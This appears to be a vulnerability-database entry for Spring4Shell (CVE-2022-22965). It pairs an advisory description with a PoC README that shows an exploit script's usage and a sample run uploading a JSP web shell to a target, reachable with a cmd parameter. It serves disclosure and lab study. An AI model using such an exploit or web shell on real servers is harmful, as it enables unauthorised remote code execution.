关联漏洞
标题:
Spring Framework 代码注入漏洞
(CVE-2022-22965)
描述:Spring Framework是美国Spring团队的一套开源的Java、JavaEE应用程序框架。该框架可帮助开发人员构建高质量的应用。 Spring Framework 存在代码注入漏洞,该漏洞源于 JDK 9+ 上的数据绑定的 RCE。以下产品和版本受到影响:5.3.0 至 5.3.17、5.2.0 至 5.2.19、较旧的和不受支持的版本也会受到影响。
介绍
# Spring4Shell: CVE-2022-22965 RCE
## Java Spring framework RCE vulnerability
These vulnerabilities affects a component "Spring Core" — the heart of the framework
**Current conditions for vulnerability:-**
- JDK 9+
- A vulnerable version of the Spring Framework (<5.2 | 5.2.0-19 | 5.3.0-17)
- Apache Tomcat as a server for the Spring application, packaged as a WAR
- A dependency on the spring-webmvc and/or spring-webflux components of the Spring Framework
## The exploit
```python
user@attacker:~$ ./exploit.py --help
usage: exploit.py [-h] [-f FILENAME] [-p PASSWORD] [-d DIRECTORY] url
Spring4Shell RCE Proof of Concept
positional arguments:
url Target URL
optional arguments:
-h, --help show this help message and exit
-f FILENAME, --filename FILENAME
Name of the file to upload (Default tomcatwar.jsp)
-p PASSWORD, --password PASSWORD
Password to protect the shell with (Default: thm)
-d DIRECTORY, --directory DIRECTORY
The upload path for the file (Default: ROOT)
```
```python
user@attacker:~$ ./exploit.py http://MACHINE_IP/
Shell Uploaded Successfully!
# OUTPUT= Your shell can be found at: http://MACHINE_IP/tomcatwar.jsp?pwd=thm&cmd=whoami
```
文件快照
[4.0K] /data/pocs/48a0dfb89196a5faf8ce2757233d415fcfcd6ee1
├── [2.4K] exploit.py
└── [1.3K] README.md
0 directories, 2 files
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